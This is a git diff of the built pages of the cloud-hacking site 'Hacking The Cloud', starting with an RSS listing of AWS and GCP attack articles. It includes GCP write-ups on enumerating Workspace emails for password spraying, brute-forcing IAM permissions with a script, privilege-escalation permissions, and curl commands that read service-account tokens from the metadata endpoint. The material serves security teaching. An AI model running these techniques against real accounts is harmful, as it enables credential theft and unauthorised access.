consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Fri, 09 Feb 2024 02:49:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Fri, 02 Feb 2024 00:17:34 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Tue, 23 Jan 2024 00:25:07 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Sun, 21 Jan 2024 17:34:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Sun, 21 Jan 2024 17:27:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 21 Jan 2024 17:20:20 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sat, 13 Jan 2024 20:48:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sat, 13 Jan 2024 01:04:53 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 11 Jan 2024 08:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Mon, 08 Jan 2024 15:03:16 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Sat, 06 Jan 2024 22:14:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Sat, 06 Jan 2024 20:43:40 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Thu, 04 Jan 2024 04:45:39 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Fri, 08 Dec 2023 02:37:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Sun, 05 Nov 2023 18:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 18 Oct 2023 00:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Sat, 15 Jul 2023 15:12:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 17 Feb 2023 04:07:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Thu, 26 Jan 2023 01:07:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Mon, 09 Jan 2023 03:01:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Wed, 28 Dec 2022 18:47:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ \ No newline at end of file diff --git a/gcp/capture_the_flag/gcp-goat/index.html b/gcp/capture_the_flag/gcp-goat/index.html index 88e1dc026..677e51780 100644 --- a/gcp/capture_the_flag/gcp-goat/index.html +++ b/gcp/capture_the_flag/gcp-goat/index.html @@ -1,4 +1,4 @@ - GCP Goat - Hacking The Cloud

      Article by Joshua Jebaraj

      GCP Goat

      GCP-Goat is the vulnerable application for learning the Google Cloud Security

      The Application consists of the following scenarios

      • Attacking Compute Engine
      • Attacking Sql Instance
      • Attacking GKE
      • Attacking GCS
      • Privilege Escalation
      • Privilege Escalation in Compute Engine

      Project-Link

      Article by Joshua Jebaraj

      GCP Goat

      GCP-Goat is the vulnerable application for learning the Google Cloud Security

      The Application consists of the following scenarios

      • Attacking Compute Engine
      • Attacking Sql Instance
      • Attacking GKE
      • Attacking GCS
      • Privilege Escalation
      • Privilege Escalation in Compute Engine

      Project-Link

      \ No newline at end of file diff --git a/gcp/capture_the_flag/thunder_ctf/index.html b/gcp/capture_the_flag/thunder_ctf/index.html index 356444b22..d8339b1f1 100644 --- a/gcp/capture_the_flag/thunder_ctf/index.html +++ b/gcp/capture_the_flag/thunder_ctf/index.html @@ -1,4 +1,4 @@ - Thunder CTF - Hacking The Cloud

      Article by Aloïs THÉVENOT

      Thunder CTF

      Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a "secret" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

      The CTF is available at https://thunder-ctf.cloud/.

      The GitHub repository for the Thunder CTF also includes:

      Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

      Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

      Article by Aloïs THÉVENOT

      Thunder CTF

      Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a "secret" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

      The CTF is available at https://thunder-ctf.cloud/.

      The GitHub repository for the Thunder CTF also includes:

      Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

      Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

      \ No newline at end of file diff --git a/gcp/enumeration/enum_email_addresses/index.html b/gcp/enumeration/enum_email_addresses/index.html index bfb7d4bfa..888b35e70 100644 --- a/gcp/enumeration/enum_email_addresses/index.html +++ b/gcp/enumeration/enum_email_addresses/index.html @@ -1,4 +1,4 @@ - Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud

      Article by Wes Ladd (@righteousgambit)

      Unauthenticated Enumeration of Valid Google Workspace Email Addresses

      You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      Article by Wes Ladd (@righteousgambit)

      Unauthenticated Enumeration of Valid Google Workspace Email Addresses

      You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      \ No newline at end of file diff --git a/gcp/enumeration/enumerate_all_permissions/index.html b/gcp/enumeration/enumerate_all_permissions/index.html index 6eaa0e008..0d648e832 100644 --- a/gcp/enumeration/enumerate_all_permissions/index.html +++ b/gcp/enumeration/enumerate_all_permissions/index.html @@ -1,4 +1,4 @@ - Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud

      Article by Scott Weston (@WebbinRoot)

      Enumerate Org/Folder/Project Permissions + Individual Resource Permissions

      • Tools mentioned in this article


        gcpwn

      What is testIamPermissions?

      GCP offers a "testIamPermissions" API call on most resources that support policies. This includes resources like:

      • Organizations
      • Folders
      • Projects
      • Compute Instances
      • Cloud Functions

      In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

      For example, for "Projects" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just "cloudfunctions.functions.list" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

      # Input
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Scott Weston (@WebbinRoot)

      Enumerate Org/Folder/Project Permissions + Individual Resource Permissions

      • Tools mentioned in this article


        gcpwn

      What is testIamPermissions?

      GCP offers a "testIamPermissions" API call on most resources that support policies. This includes resources like:

      • Organizations
      • Folders
      • Projects
      • Compute Instances
      • Cloud Functions

      In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

      For example, for "Projects" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just "cloudfunctions.functions.list" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

      # Input
       {
         "permissions": [
           compute.instances.addAccessConfig
      diff --git a/gcp/enumeration/enumerate_service_account_permissions/index.html b/gcp/enumeration/enumerate_service_account_permissions/index.html
      index fbbbf0ee2..822fe50db 100644
      --- a/gcp/enumeration/enumerate_service_account_permissions/index.html
      +++ b/gcp/enumeration/enumerate_service_account_permissions/index.html
      @@ -1,4 +1,4 @@
      - Enumerate Service Account Permissions - Hacking The Cloud         

      Article by Aloïs THÉVENOT

      Enumerate Service Account Permissions

      Link to Tool: GitHub

      On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

      To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

      Info

      The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

      The following script taken from the ThunderCTF repository can be used to enumerate permissions:

      from googleapiclient import discovery
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Aloïs THÉVENOT

      Enumerate Service Account Permissions

      Link to Tool: GitHub

      On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

      To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

      Info

      The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

      The following script taken from the ThunderCTF repository can be used to enumerate permissions:

      from googleapiclient import discovery
       import google.oauth2.service_account
       from google.oauth2.credentials import Credentials
       import os, sys
      diff --git a/gcp/exploitation/gcp_iam_privilege_escalation/index.html b/gcp/exploitation/gcp_iam_privilege_escalation/index.html
      index 3dd4b7382..46a0d1122 100644
      --- a/gcp/exploitation/gcp_iam_privilege_escalation/index.html
      +++ b/gcp/exploitation/gcp_iam_privilege_escalation/index.html
      @@ -1,4 +1,4 @@
      - Privilege Escalation in Google Cloud Platform - Hacking The Cloud         

      Article by Aloïs THÉVENOT

      Privilege Escalation in Google Cloud Platform

      Permission  Resources
      cloudbuilds.builds.create Script / Blog Post
      cloudfunctions.functions.create Script / Blog Post
      cloudfunctions.functions.update Script / Blog Post
      cloudscheduler.jobs.create Blog Post
      composer.environments.get Blog Post 1, 2
      compute.instances.create Script / Blog Post
      dataflow.jobs.create Blog Post 1, 2
      dataflow.jobs.update Blog Post 1, 2
      dataproc.clusters.create Blog Post 1, 2
      dataproc.clusters.create Blog Post 1, 2
      dataproc.jobs.create Blog Post 1, 2
      dataproc.jobs.update Blog Post 1, 2
      deploymentmanager.deployments.create Script / Blog Post
      iam.roles.update Script / Blog Post
      iam.serviceAccountKeys.create Script / Blog Post
      iam.serviceAccounts.getAccessToken Script / Blog Post
      iam.serviceAccounts.implicitDelegation Script / Blog Post
      iam.serviceAccounts.signBlob Script / Blog Post
      iam.serviceAccounts.signJwt Script / Blog Post
      orgpolicy.policy.set Script / Blog Post
      run.services.create Script / Blog Post
      serviceusage.apiKeys.create Script / Blog Post
      serviceusage.apiKeys.list Script / Blog Post
      storage.hmacKeys.create Script / Blog Post

      Article by Aloïs THÉVENOT

      Privilege Escalation in Google Cloud Platform

      Permission  Resources
      cloudbuilds.builds.create Script / Blog Post
      cloudfunctions.functions.create Script / Blog Post
      cloudfunctions.functions.update Script / Blog Post
      cloudscheduler.jobs.create Blog Post
      composer.environments.get Blog Post 1, 2
      compute.instances.create Script / Blog Post
      dataflow.jobs.create Blog Post 1, 2
      dataflow.jobs.update Blog Post 1, 2
      dataproc.clusters.create Blog Post 1, 2
      dataproc.clusters.create Blog Post 1, 2
      dataproc.jobs.create Blog Post 1, 2
      dataproc.jobs.update Blog Post 1, 2
      deploymentmanager.deployments.create Script / Blog Post
      iam.roles.update Script / Blog Post
      iam.serviceAccountKeys.create Script / Blog Post
      iam.serviceAccounts.getAccessToken Script / Blog Post
      iam.serviceAccounts.implicitDelegation Script / Blog Post
      iam.serviceAccounts.signBlob Script / Blog Post
      iam.serviceAccounts.signJwt Script / Blog Post
      orgpolicy.policy.set Script / Blog Post
      run.services.create Script / Blog Post
      serviceusage.apiKeys.create Script / Blog Post
      serviceusage.apiKeys.list Script / Blog Post
      storage.hmacKeys.create Script / Blog Post
      \ No newline at end of file diff --git a/gcp/general-knowledge/default-account-names/index.html b/gcp/general-knowledge/default-account-names/index.html index bbfddce4a..5a010a49a 100644 --- a/gcp/general-knowledge/default-account-names/index.html +++ b/gcp/general-knowledge/default-account-names/index.html @@ -1,4 +1,4 @@ - Default Account Information - Hacking The Cloud

      Article by Moses Frost (@mosesrenegade)

      Default Account Information

      Service Accounts

      Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

      Information on Service Accounts

      User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

      Using the format above, you can denote the following items:

      • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
      • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.

      Default Service Account filename permutations:

      • serviceaccount.json
      • service_account.json
      • sa-private-key.json
      • service-account-file.json

      Application-Based Service Account:

      • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
      • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.

      How to use Service Accounts

      In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS="/home/user/Downloads/service-account-file.json"

      Article by Moses Frost (@mosesrenegade)

      Default Account Information

      Service Accounts

      Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

      Information on Service Accounts

      User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

      Using the format above, you can denote the following items:

      • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
      • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.

      Default Service Account filename permutations:

      • serviceaccount.json
      • service_account.json
      • sa-private-key.json
      • service-account-file.json

      Application-Based Service Account:

      • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
      • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.

      How to use Service Accounts

      In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS="/home/user/Downloads/service-account-file.json"

      \ No newline at end of file diff --git a/gcp/general-knowledge/gcp-buckets/index.html b/gcp/general-knowledge/gcp-buckets/index.html index f65d10877..32502593b 100644 --- a/gcp/general-knowledge/gcp-buckets/index.html +++ b/gcp/general-knowledge/gcp-buckets/index.html @@ -1,4 +1,4 @@ - Hunting GCP Buckets - Hacking The Cloud

      Article by Moses Frost (@mosesrenegade)

      Hunting GCP Buckets

      GCP Buckets are almost 100% identical to AWS S3 Buckets.

      Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

      Using @digininja's CloudStorageFinder diff the following files:

      diff bucket_finder.rb google_finder.rb

      The main differences are the URLs:

      • AWS Supports HTTP and HTTPS
      • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
      • GCP Endpoint: https://storage.googleapis.com

      How to find buckets using CloudStorageFinder:

      Create a wordlist with any name; in our example, it is wordlist.txt.

      $ ruby google_finder.rb wordlist.txt

      Article by Moses Frost (@mosesrenegade)

      Hunting GCP Buckets

      GCP Buckets are almost 100% identical to AWS S3 Buckets.

      Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

      Using @digininja's CloudStorageFinder diff the following files:

      diff bucket_finder.rb google_finder.rb

      The main differences are the URLs:

      • AWS Supports HTTP and HTTPS
      • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
      • GCP Endpoint: https://storage.googleapis.com

      How to find buckets using CloudStorageFinder:

      Create a wordlist with any name; in our example, it is wordlist.txt.

      $ ruby google_finder.rb wordlist.txt

      \ No newline at end of file diff --git a/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html b/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html index 413e6abbe..8e1816632 100644 --- a/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html +++ b/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html @@ -1,4 +1,4 @@ - Metadata in Google Cloud Instances - Hacking The Cloud

      Article by Jan Slezak

      Metadata in Google Cloud Instances

      Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

      The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

      curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Jan Slezak

      Metadata in Google Cloud Instances

      Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

      The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

      curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
       "Metadata-Flavor: Google"
       
      Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add 169.254.169.254 metadata.google.internal to your /etc/hosts file.

      Metadata Endpoints

      For basic enumeration, an attacker can target.

      http://169.254.169.254/computeMetadata/v1/
       http://metadata.google.internal/computeMetadata/v1/
      diff --git a/gcp/general-knowledge/security-and-constraints/index.html b/gcp/general-knowledge/security-and-constraints/index.html
      index 756aa74de..17b360ee2 100644
      --- a/gcp/general-knowledge/security-and-constraints/index.html
      +++ b/gcp/general-knowledge/security-and-constraints/index.html
      @@ -1,4 +1,4 @@
      - Security and Constraints - Hacking The Cloud         

      Article by Moses Frost (@mosesrenegade)

      Security and Constraints

      GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

      Examples

      From: Organizational Policy Constraints

      • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
      • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

      There are specific policies that are not retroactive. We can use these to our advantage.

      1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
      2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

        • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
        • Constraint looks for the name of the machine in the project identifier specified in the specific zone
        • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
        • Machine cannot already exist.
        • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.

      Article by Moses Frost (@mosesrenegade)

      Security and Constraints

      GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

      Examples

      From: Organizational Policy Constraints

      • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
      • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

      There are specific policies that are not retroactive. We can use these to our advantage.

      1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
      2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

        • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
